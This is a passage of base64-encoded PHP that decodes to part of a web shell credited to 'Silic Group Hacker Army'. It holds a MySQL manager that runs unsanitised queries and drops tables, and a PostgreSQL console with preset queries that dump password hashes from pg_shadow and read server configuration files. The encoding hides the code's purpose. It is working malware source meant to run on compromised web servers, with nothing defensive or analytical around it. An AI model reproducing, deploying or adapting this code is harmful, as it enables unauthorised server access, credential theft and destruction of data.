JCQkJZm9yZWFjaCgkX1BPU1RbJ2luc3FsJ10gYXMgJHZhciA9PiAka2V5KQ0KCQkJCQkJew0KCQkJCQkJCSRxdWVyeWEgLj0gJHZhci4nLCc7DQoJCQkJCQkJJHF1ZXJ5YiAuPSAnXCcnLmFkZHNsYXNoZXMoJGtleSkuJ1wnLCc7DQoJCQkJCQl9DQoJCQkJCQkkcXVlcnkgPSAkcXVlcnkuc3Vic3RyKCRxdWVyeWEsIDAsIC0xKS4nKSBWQUxVRVMgKCcuc3Vic3RyKCRxdWVyeWIsIDAsIC0xKS4nKTsnOw0KCQkJCQkJJE1TR19CT1ggPSBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pID8gJ8ztvNOzybmmJyA6ICfM7bzTyqew3CAnLm15c3FsX2Vycm9yKCk7DQoJCQkJCX0NCgkJCQkJaWYoaXNfYXJyYXkoJF9QT1NUWyd1cHNxbCddKSkNCgkJCQkJew0KCQkJCQkJJHF1ZXJ5ID0gJ1VQREFURSAnLiRfR0VUWyd0YWJsZSddLicgU0VUICc7DQoJCQkJCQlmb3JlYWNoKCRfUE9TVFsndXBzcWwnXSBhcyAkdmFyID0+ICRrZXkpDQoJCQkJCQl7DQoJCQkJCQkJJHF1ZXJ5YiAuPSAkdmFyLic9XCcnLmFkZHNsYXNoZXMoJGtleSkuJ1wnLCc7DQoJCQkJCQl9DQoJCQkJCQkkcXVlcnkgPSAkcXVlcnkuc3Vic3RyKCRxdWVyeWIsIDAsIC0xKS4nICcuYmFzZTY0X2RlY29kZSgkX1BPU1RbJ3doZXJldmFyJ10pLic7JzsNCgkJCQkJCSRNU0dfQk9YID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSA/ICfQ3rjEs8m5picgOiAn0N64xMqnsNwgJy5teXNxbF9lcnJvcigpOw0KCQkJCQl9DQoJCQkJCWlmKGlzc2V0KCRfR0VUWydkZWwnXSkpDQoJCQkJCXsNCgkJCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgnU0VMRUNUICogRlJPTSAnLiRfR0VUWyd0YWJsZSddLicgTElNSVQgJy4kX0dFVFsnZGVsJ10uJywgMTsnLCRjb25uKTsNCgkJCQkJCSRnb29kID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7DQoJCQkJCQkkcXVlcnkgPSAnREVMRVRFIEZST00gJy4kX0dFVFsndGFibGUnXS4nIFdIRVJFICc7DQoJCQkJCQlmb3JlYWNoKCRnb29kIGFzICR2YXIgPT4gJGtleSl7JHF1ZXJ5YyAuPSAkdmFyLic9XCcnLmFkZHNsYXNoZXMoJGtleSkuJ1wnIEFORCAnO30NCgkJCQkJCSR3aGVyZSA9ICRxdWVyeS5zdWJzdHIoJHF1ZXJ5YywgMCwgLTQpLic7JzsNCgkJCQkJCSRNU0dfQk9YID0gbXlzcWxfcXVlcnkoJHdoZXJlLCRjb25uKSA/ICfJvrP9s8m5picgOiAnyb6z/cqnsNwgJy5teXNxbF9lcnJvcigpOw0KCQkJCQl9DQoJCQkJCSRhY3Rpb24gPSAnP3M9ciZkYj0nLiRfR0VUWydkYiddOw0KCQkJCQlpZihpc3NldCgkX0dFVFsnZHJvcCddKSl7JHF1ZXJ5ID0gJ0Ryb3AgVEFCTEUgSUYgRVhJU1RTICcuJF9HRVRbJ2Ryb3AnXS4nOyc7JE1TR19CT1ggPSBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pID8gJ8m+s/2zybmmJyA6ICfJvrP9yqew3CAnLm15c3FsX2Vycm9yKCk7fQ0KCQkJCQlpZihpc3NldCgkX0dFVFsndGFibGUnXSkpeyRhY3Rpb24gLj0gJyZ0YWJsZT0nLiRfR0VUWyd0YWJsZSddO2lmKGlzc2V0KCRfR0VUWydlZGl0J10pKSAkYWN0aW9uIC49ICcmZWRpdD0nLiRfR0VUWydlZGl0J107fQ0KCQkJCQlpZihpc3NldCgkX0dFVFsnaW5zZXJ0J10pKSAkYWN0aW9uIC49ICcmaW5zZXJ0PScuJF9HRVRbJ2luc2VydCddOw0KCQkJCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSInLiRhY3Rpb24uJyI+JzsNCgkJCQkJZWNobyAnPHRleHRhcmVhIG5hbWU9Im5zcWwiIGlkPSJuc3FsIiBzdHlsZT0id2lkdGg6NTAwcHg7aGVpZ2h0OjUwcHg7Ij4nLiRfUE9TVFsnbnNxbCddLic8L3RleHRhcmVhPiAnOw0KCQkJCQllY2hvICc8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJxdWVyeXNxbCIgdmFsdWU9Ita00NAiIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyI+ICc7DQoJCQkJCWVjaG8gJzxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK0tL2ose0iIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyIgb25jbGljaz0iQ3JlYXRlb2soXCdhXCcpIj4gJzsNCgkJCQkJZWNobyAnPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IrS0vai/4iIgc3R5bGU9IndpZHRoOjYwcHg7aGVpZ2h0OjQ5cHg7IiBvbmNsaWNrPSJDcmVhdGVvayhcJ2JcJykiPiAnOw0KCQkJCQllY2hvICc8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iyb6z/b/iIiBzdHlsZT0id2lkdGg6NjBweDtoZWlnaHQ6NDlweDsiIG9uY2xpY2s9IkNyZWF0ZW9rKFwnY1wnKSI+PC9mb3JtPjwvZGl2Pic7DQoJCQkJCWVjaG8gJzxkaXYgY2xhc3M9Im1zZ2JveCIgc3R5bGU9ImhlaWdodDo0MHB4OyI+Jy4kTVNHX0JPWC4nPC9kaXY+PGRpdiBjbGFzcz0iYWN0YWxsIj48YSBocmVmPSI/cz1yJmRiPScuJF9HRVRbJ2RiJ10uJyI+Jy4kX0dFVFsnZGInXS4nPC9hPiAtLS0+ICc7DQoJCQkJCWlmKGlzc2V0KCRfR0VUWyd0YWJsZSddKSkNCgkJCQkJew0KCQkJCQkJZWNobyAnPGEgaHJlZj0iP3M9ciZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kX0dFVFsndGFibGUnXS4nIj4nLiRfR0VUWyd0YWJsZSddLic8L2E+ICc7DQoJCQkJCQllY2hvICdbPGEgaHJlZj0iP3M9ciZkYj0nLiRfR0VUWydkYiddLicmaW5zZXJ0PScuJF9HRVRbJ3RhYmxlJ10uJyI+suXI6zwvYT5dPC9kaXY+JzsNCgkJCQkJCWlmKGlzc2V0KCRfR0VUWydlZGl0J10pKQ0KCQkJCQkJew0KCQkJCQkJCWlmKGlzc2V0KCRfR0VUWydwJ10pKSAkYXRhYmxlID0gJF9HRVRbJ3RhYmxlJ10uJyZwPScuJF9HRVRbJ3AnXTsgZWxzZSAkYXRhYmxlID0gJF9HRVRbJ3RhYmxlJ107DQoJCQkJCQkJZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9zPXImZGI9Jy4kX0dFVFsnZGInXS4nJnRhYmxlPScuJGF0YWJsZS4nIj4nOw0KCQkJCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgnU0VMRUNUICogRlJPTSAnLiRfR0VUWyd0YWJsZSddLicgTElNSVQgJy4kX0dFVFsnZWRpdCddLicsIDE7JywkY29ubik7DQoJCQkJCQkJJGdvb2QgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsNCgkJCQkJCQkkdSA9IDA7DQoJCQkJCQkJZm9yZWFjaCgkZ29vZCBhcyAkdmFyID0+ICRrZXkpDQoJCQkJCQkJew0KCQkJCQkJCQkkcXVlcnljIC49ICR2YXIuJz1cJycuJGtleS4nXCcgQU5EICc7DQoJCQkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJHUpOw0KCQkJCQkJCQkkbGVuID0gQG15c3FsX2ZpZWxkX2xlbigkcmVzdWx0LCAkdSk7DQoJCQkJCQkJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+Jy4kdmFyLicgPGZvbnQgY29sb3I9IiNGRjAwMDAiPicuJHR5cGUuJygnLiRsZW4uJyk8L2ZvbnQ+PGJyPjx0ZXh0YXJlYSBuYW1lPSJ1cHNxbFsnLiR2YXIuJ10iIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6NjBweDsiPicuaHRtbHNwZWNpYWxjaGFycygka2V5KS4nPC90ZXh0YXJlYT48L2Rpdj4nOw0KCQkJCQkJCQkkdSsrOw0KCQkJCQkJCX0NCgkJCQkJCQkkd2hlcmUgPSAnV0hFUkUgJy5zdWJzdHIoJHF1ZXJ5YywgMCwgLTQpOw0KCQkJCQkJCWVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJ3aGVyZXZhciIgbmFtZT0id2hlcmV2YXIiIHZhbHVlPSInLmJhc2U2NF9lbmNvZGUoJHdoZXJlKS4nIj4nOw0KCQkJCQkJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwZGF0ZSIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj48L2Zvcm0+JzsNCgkJCQkJCX0NCgkJCQkJCWVsc2UNCgkJCQkJCXsNCgkJCQkJCQkkcXVlcnkgPSAnU0hPVyBDT0xVTU5TIEZST00gJy4kX0dFVFsndGFibGUnXTsNCgkJCQkJCQkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKTsNCgkJCQkJCQkkZmllbGRzID0gYXJyYXkoKTsNCgkJCQkJCQkkcm93X251bSA9IG15c3FsX251bV9yb3dzKG15c3FsX3F1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJF9HRVRbJ3RhYmxlJ10sJGNvbm4pKTsNCgkJCQkJCQlpZighaXNzZXQoJF9HRVRbJ3AnXSkpeyRwID0gMDskX0dFVFsncCddID0gMTt9IGVsc2UgJHAgPSAoKGludCkkX0dFVFsncCddLTEpKjIwOw0KCQkJCQkJCWVjaG8gJzx0YWJsZSBib3JkZXI9IjAiPjx0cj4nOw0KCQkJCQkJCWVjaG8gJzx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo3MHB4OyIgbm93cmFwPrLZ1/c8L3RkPic7DQoJCQkJCQkJd2hpbGUoJHJvdyA9IEBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSkNCgkJCQkJCQl7DQoJCQkJCQkJCWFycmF5X3B1c2goJGZpZWxkcywkcm93WydGaWVsZCddKTsNCgkJCQkJCQkJZWNobyAnPHRkIGNsYXNzPSJ0b3B0ZCIgbm93cmFwPicuJHJvd1snRmllbGQnXS4nPC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQllY2hvICc8L3RyPic7DQoJCQkJCQkJaWYoZXJlZ2koJ1dIRVJFfExJTUlUJywkX1BPU1RbJ25zcWwnXSkgJiYgZXJlZ2koJ1NFTEVDVHxGUk9NJywkX1BPU1RbJ25zcWwnXSkpICRxdWVyeSA9ICRfUE9TVFsnbnNxbCddOyBlbHNlICRxdWVyeSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9HRVRbJ3RhYmxlJ10uJyBMSU1JVCAnLiRwLicsIDIwOyc7DQoJCQkJCQkJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubik7DQoJCQkJCQkJJHYgPSAkcDsNCgkJCQkJCQl3aGlsZSgkdGV4dCA9IEBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSkNCgkJCQkJCQl7DQoJCQkJCQkJCWVjaG8gJzx0cj48dGQ+PGEgaHJlZj0iP3M9ciZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kX0dFVFsndGFibGUnXS4nJnA9Jy4kX0dFVFsncCddLicmZWRpdD0nLiR2LiciPiDQ3rjEIDwvYT4gJzsNCgkJCQkJCQkJZWNobyAnPGEgaHJlZj0iIyIgb25jbGljaz0iRGVsb2soXCfL/FwnLFwnP3M9ciZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kX0dFVFsndGFibGUnXS4nJnA9Jy4kX0dFVFsncCddLicmZGVsPScuJHYuJ1wnKTtyZXR1cm4gZmFsc2U7Ij4gyb6z/SA8L2E+PC90ZD4nOw0KCQkJCQkJCQlmb3JlYWNoKCRmaWVsZHMgYXMgJHJvdyl7ZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycyhNeXNxbF9MZW4oJHRleHRbJHJvd10sNTAwKSkpLic8L3RkPic7fQ0KCQkJCQkJCQllY2hvICc8L3RyPicuIlxyXG4iOyR2Kys7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gJzwvdGFibGU+PGRpdiBjbGFzcz0iYWN0YWxsIj4nOw0KCQkJCQkJCWZvcigkaSA9IDE7JGkgPD0gY2VpbCgkcm93X251bSAvIDIwKTskaSsrKXskayA9ICgoaW50KSRfR0VUWydwJ10gPT0gJGkpID8gJzxmb250IGNvbG9yPSIjRkYwMDAwIj4nLiRpLic8L2ZvbnQ+JyA6ICRpO2VjaG8gJzxhIGhyZWY9Ij9zPXImZGI9Jy4kX0dFVFsnZGInXS4nJnRhYmxlPScuJF9HRVRbJ3RhYmxlJ10uJyZwPScuJGkuJyI+WycuJGsuJ108L2E+ICc7fQ0KCQkJCQkJCWVjaG8gJzwvZGl2Pic7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJZWxzZWlmKGlzc2V0KCRfR0VUWydpbnNlcnQnXSkpDQoJCQkJCXsNCgkJCQkJCWVjaG8gJzxhIGhyZWY9Ij9zPXImZGI9Jy4kX0dFVFsnZGInXS4nJnRhYmxlPScuJF9HRVRbJ2luc2VydCddLiciPicuJF9HRVRbJ2luc2VydCddLic8L2E+PC9kaXY+JzsNCgkJCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgnU0VMRUNUICogRlJPTSAnLiRfR0VUWydpbnNlcnQnXSwkY29ubik7DQoJCQkJCQkkZmllbGRudW0gPSBAbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTsNCgkJCQkJCWVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/cz1yJmRiPScuJF9HRVRbJ2RiJ10uJyZ0YWJsZT0nLiRfR0VUWydpbnNlcnQnXS4nIj4nOw0KCQkJCQkJZm9yKCRpID0gMDskaSA8ICRmaWVsZG51bTskaSsrKQ0KCQkJCQkJew0KCQkJCQkJCSRuYW1lID0gQG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOw0KCQkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJGkpOw0KCQkJCQkJCSRsZW4gPSBAbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsNCgkJCQkJCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPicuJG5hbWUuJyA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jy4kdHlwZS4nKCcuJGxlbi4nKTwvZm9udD48YnI+PHRleHRhcmVhIG5hbWU9Imluc3FsWycuJG5hbWUuJ10iIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6NjBweDsiPjwvdGV4dGFyZWE+PC9kaXY+JzsNCgkJCQkJCX0NCgkJCQkJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ikluc2VydCIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj48L2Zvcm0+JzsNCgkJCQkJfQ0KCQkJCQllbHNlDQoJCQkJCXsNCgkJCQkJCSRxdWVyeSA9ICdTSE9XIFRBQkxFIFNUQVRVUyc7DQoJCQkJCQkkc3RhdHVzID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubik7DQoJCQkJCQl3aGlsZSgkc3RhdHUgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHN0YXR1cykpDQoJCQkJCQl7DQoJCQkJCQkJJHN0YXR1c2l6ZVtdID0gJHN0YXR1WydEYXRhX2xlbmd0aCddOw0KCQkJCQkJCSRzdGF0dWNvbGxbXSA9ICRzdGF0dVsnQ29sbGF0aW9uJ107DQoJCQkJCQl9DQoJCQkJCQkkcXVlcnkgPSAnU0hPVyBUQUJMRVMgRlJPTSAnLiRfR0VUWydkYiddLic7JzsNCgkJCQkJCWVjaG8gJzwvZGl2Pjx0YWJsZSBib3JkZXI9IjAiPjx0cj4nOw0KCQkJCQkJZWNobyAnPHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjU1MHB4OyI+ILHtw/sgPC90ZD4nOw0KCQkJCQkJZWNobyAnPHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjgwcHg7Ij4gstnX9yA8L3RkPic7DQoJCQkJCQllY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6MTMwcHg7Ij4g19a3+7yvIDwvdGQ+JzsNCgkJCQkJCWVjaG8gJzx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo3MHB4OyI+ILTz0KEgPC90ZD48L3RyPic7DQoJCQkJCQkkcmVzdWx0ID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubik7DQoJCQkJCQkkayA9IDA7DQoJCQkJCQl3aGlsZSgkdGFibGUgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpDQoJCQkJCQl7DQoJCQkJCQkJZWNobyAnPHRyPjx0ZD48YSBocmVmPSI/cz1yJmRiPScuJF9HRVRbJ2RiJ10uJyZ0YWJsZT0nLiR0YWJsZVswXS4nIj4nLiR0YWJsZVswXS4nPC9hPjwvdGQ+JzsNCgkJCQkJCQllY2hvICc8dGQ+PGEgaHJlZj0iP3M9ciZkYj0nLiRfR0VUWydkYiddLicmaW5zZXJ0PScuJHRhYmxlWzBdLiciPiCy5cjrIDwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iRGVsb2soXCcnLiR0YWJsZVswXS4nXCcsXCc/cz1yJmRiPScuJF9HRVRbJ2RiJ10uJyZkcm9wPScuJHRhYmxlWzBdLidcJyk7cmV0dXJuIGZhbHNlOyI+IMm+s/0gPC9hPjwvdGQ+JzsNCgkJCQkJCQllY2hvICc8dGQ+Jy4kc3RhdHVjb2xsWyRrXS4nPC90ZD48dGQgYWxpZ249InJpZ2h0Ij4nLkZpbGVfU2l6ZSgkc3RhdHVzaXplWyRrXSkuJzwvdGQ+PC90cj4nLiJcclxuIjsNCgkJCQkJCQkkaysrOw0KCQkJCQkJfQ0KCQkJCQkJZWNobyAnPC90YWJsZT4nOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQkJZWxzZSBkaWUoJ8GsvdNNWVNRTMqnsNwsx+vW2NDCtcfCvS48bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0/cz1vIj4nKTsNCgkJCWlmKCEkQk9PTCkgZWNobyAnPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnbnNxbFwnKS52YWx1ZSA9IFwnJy5hZGRzbGFzaGVzKCRxdWVyeSkuJ1wnOzwvc2NyaXB0Pic7DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJLy9Qb3N0Z3JlU1FMstnX9w0KCQlmdW5jdGlvbiBQZ3Jfc3FsKCkNCgkJew0KCQkJJHBnaG9zdD0kX1BPU1RbJ3BnaG9zdCddID8gJF9QT1NUWydwZ2hvc3QnXTonJzsNCgkJCSRwZ3BvcnQ9JF9QT1NUWydwZ3BvcnQnXSA/ICRfUE9TVFsncGdwb3J0J106Jyc7DQoJCQkkcGd1c2VyPSRfUE9TVFsncGd1c2VyJ10gPyAkX1BPU1RbJ3BndXNlciddOidwb3N0Z3Jlcyc7DQoJCQkkcGdwYXNzPSRfUE9TVFsncGdwYXNzJ10gPyAkX1BPU1RbJ3BncGFzcyddOicnOw0KCQkJJHBnZGI9JF9QT1NUWydwZ2RiJ10gPyAkX1BPU1RbJ3BnZGInXToncG9zdGdyZXMnOw0KCQkJJHBncXVlcnk9JF9QT1NUWydwZ3NxbCddID8gJF9QT1NUWydwZ3NxbCddOidzZWxlY3QgdmVyc2lvbigpJzsNCgkJCSRwZ3F1ZXJ5PXN0cmlwc2xhc2hlcygkcGdxdWVyeSk7DQoJCQlwcmludDw8PEVORA0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBwZ0Z1bGwoaSl7DQpTdHIgPSBuZXcgQXJyYXkoNik7DQpTdHJbMF0gPSAic2VsZWN0IHZlcnNpb24oKTsiOw0KU3RyWzFdID0gInNlbGVjdCBkYXRuYW1lIGZyb20gcGdfZGF0YWJhc2U7IjsNClN0clsyXSA9ICJzZWxlY3QgRElTVElOQ1QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYSAhPSdpbmZvcm1hdGlvbl9zY2hlbWEnIGxpbWl0IDEgb2Zmc2V0IG47IjsNClN0clszXSA9ICJzZWxlY3QgY29sdW1uX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSd4eHgnIGxpbWl0IDEgb2Zmc2V0IG47IjsNClN0cls0XSA9ICJzZWxlY3QgdXNlbmFtZSxwYXNzd2QgZnJvbSBwZ19zaGFkb3c7IjsNClN0cls1XSA9ICJzZWxlY3QgcGdfZmlsZV9yZWFkKCdwZ19oYmEuY29uZicsMSxwZ19maWxlX2xlbmd0aCgncGdfaGIuY29uZicpKTsiOw0KcGdmb3JtLnBnc3FsLnZhbHVlID0gU3RyW2ldOw0KcmV0dXJuIHRydWU7DQp9DQo8L3NjcmlwdD4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+DQo8IS0tU1FMse21pb+qyrwtLT4NCjxwIHN0eWxlPSJmb250LXNpemU6MTBwdDtmb250LWZhbWlseTpMdWNpZGEgSGFuZHdyaXRpbmcsVGltZXMgTmV3IFJvbWFuOyI+DQq3/s7xxve6zbbLv9rOqtGhzO6jrMr9vt2/4s7et6jBrL3TyrG/ybOiytSyu8zu0LQ8YnI+DQqxvr3Fsb7ErMjPxeSxuLXEU1FM0+++5MrK08PT2lBvc3RncmVTUUwgOC4xPGJyPg0KzdG/4sfrzO7QtNX9yLe1xMr9vt2/4sP7PGJyPg0KwdCx7bbOv8nTw3NlbGVjdCByZWxuYW1lIGZyb20gcGdfc3RhdF91c2VyX3RhYmxlcyBsaW1pdCAxIG9mZnNldCBuOzxicj4NCrj8tuC5/dPaUG9zdGdyZVNRTNPvvuS/ybLOvPs8YSBocmVmPSJodHRwOi8vbmFuYS5ibGFja2JhcC5vcmcvP3A9YXJjaGl2ZSZpZD01NSIgdGFyZ2V0PSJfYmxhbmsiPlvV4sDvXTwvYT48YnI+PGhyPjwvcD4NCjxmb3JtIG5hbWU9InBnZm9ybSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9zPXBxIj4NCrf+zvHG9zo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGdob3N0IiB2YWx1ZT0ieyRwZ2hvc3R9IiBzdHlsZT0id2lkdGg6MTAwcHgiPg0K08O7pzo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGd1c2VyIiB2YWx1ZT0ieyRwZ3VzZXJ9IiBzdHlsZT0id2lkdGg6MTAwcHgiPg0Kw9zC6zo8aW5wdXQgdHlvZT0idGV4dCIgbmFtZT0icGdwYXNzIiB2YWx1ZT0ieyRwZ3Bhc3N9IiBzdHlsZT0id2lkdGg6MTAwcHgiPg0Kyv2+3b/iw/s6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBnZGIiIHZhbHVlPSJ7JHBnZGJ9IiBzdHlsZT0id2lkdGg6MTAwcHgiPjxicj48YnI+DQo8dGV4dGFyZWEgbmFtZT0icGdzcWwiIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6MjAwcHg7Ij57JHBncXVlcnl9PC90ZXh0YXJlYT48YnI+DQq2y7/ao7o8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGdwb3J0IiB2YWx1ZT0ieyRwZ3BvcnR9IiBzdHlsZT0id2lkdGg6NTBweCI+DQo8c2VsZWN0IG9uY2hhbmdlPSJyZXR1cm4gcGdGdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4NCjxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPs/Uyr6w5rG+PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxIj7K/b7dv+I8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjIiPrHtts48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMiPtfWts48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQiPmhhc2hlczwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNSI+cGdfaGIuY29uZjwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWwiIHZhbHVlPSJZb0NvIFNtYXJ0Ij4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLWtNDQU1FM0+++5CI+DQo8Zm9udCBzdHlsZT0iZm9udC1zaXplOjEwcHQ7Ij4mbmJzcDsmbmJzcDs8YSBocmVmPSJodHRwOi8vYmxhY2tiYXAub3JnIiB0YXJnZXQ9Il9ibGFuayI+U2lsaWMgR3JvdXAgSGFja2VyIEFybXk8L2E+JmNvcHk7MjAwOS0yMDEyPC9mb250PjwvZm9ybT4NCjwhLS1TUUyx7bWlveHK+C0tPg0KRU5EOw0KCQkJaWYoIWVtcHR5KCRwZ2hvc3QpICYmICFlbXB0eSgkcGdwb3J0KSl7DQoJCQkJJGNvbm49Imhvc3Q9Ii4kcGdob3N0LiIgcG9ydD0iLiRwZ3BvcnQuIiBkYm5hbWU9Ii4kcGdkYi4iIHVzZXI9Ii4kcGd1c2VyLiIgcGFzc3dvcmQ9Ii4kcGdwYXNzOw0KCQkJfWVsc2V7DQoJCQkJJGNvbm49ImRibmFtZT0iLiRwZ2RiLiIgdXNlcj0iLiRwZ3VzZXIuIiBwYXNzd29yZD0iLiRwZ3Bhc3M7DQoJCQl9DQoJCQlpZighZW1wdHkoJF9QT1NUWydzcWwnXSkpew0KCQkJCSRwZ2Nvbm4gPSBwZ19jb25uZWN0KCRjb25uKQ0KCQkJCW9yIGRpZSgnsa++56Oswayyu8nPoaO07c7z0MXPojonLnBnX2xhc3RfZXJyb3IoKSk7DQoJCQkJJHBncmVzdWx0PXBnX3F1ZXJ5KCRwZ3F1ZXJ5KSBvciBkaWUoJ1NRTNa00NC3osn6tO3O8zo8YnI+Jy5wZ19sYXN0X2Vycm9yKCkpOw0KCQkJCSRwZ3Jvdz1wZ19mZXRjaF9yb3coJHBncmVzdWx0KTsNCgkJCQllY2hvICc8Zm9udCBmYWNlPSJ2ZXJkYW5hIj48dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMSIgY2VsbHNwYWNpbmc9IjIiPicuIlxuPHRyPlxuIjsNCgkJCQlmb3IgKCRpPTA7ICRpPCBwZ19udW1fZmllbGRzKCRwZ3Jlc3VsdCk7ICRpKyspDQoJCQkJe2VjaG8gJzx0ZD48Yj4nLnBnX2ZpZWxkX25hbWUoJHBncmVzdWx0LCAkaSkuIjwvYj48L3RkPlxuIjt9DQoJCQkJZWNobyAiPC90cj5cbiI7DQoJCQkJcGdfcmVzdWx0X3NlZWsoJHBncmVzdWx0LCAwKTsNCgkJCQl3aGlsZSAoJHBncm93PXBnX2ZldGNoX3JvdygkcGdyZXN1bHQpKQ0KCQkJCXsNCgkJCQkJZWNobyAiPHRyPlxuIjsNCgkJCQkJZm9yICgkaT0wOyAkaTxwZ19udW1fZmllbGRzKCRwZ3Jlc3VsdCk7ICRpKysgKQ0KCQkJCQl7ZWNobyAnPHRkPicuIiRwZ3Jvd1skaV0iLic8L3RkPic7fQ0KCQkJCQllY2hvICI8L3RyPlxuIjsNCgkJCQl9DQoJCQkJZWNobyAiPC90YWJsZT5cbiIuIjwvZm9udD4iOw0KCQkJCXBnX2ZyZWVfcmVzdWx0KCRwZ3Jlc3VsdCk7DQoJCQkJcGdfY2xvc2UoKTsNCgkJCX0NCgkJCWVjaG8gIjwvZGl2PiI7DQoJCX0NCgkJZnVuY3Rpb24gTXlzcWxfbygpDQoJCXsNCgkJCW9iX3N0YXJ0KCk7DQoJCQlpZihpc3NldCgkX1BPU1RbJ21ob3N0J10pICYmIGlzc2V0KCRfUE9TVFsnbXBvcnQnXSkgJiYgaXNzZXQoJF9QT1NUWydtdXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ21wYXNzJ10pKQ0KCQkJew0KCQkJCWlmKEBteXNxbF9jb25uZWN0KCRfUE9TVFsnbWhvc3QnXS4nOicuJF9QT1NUWydtcG9ydCddLCRfUE9TVFsnbXVzZXInXSwkX1BPU1RbJ21wYXNzJ10pKQ0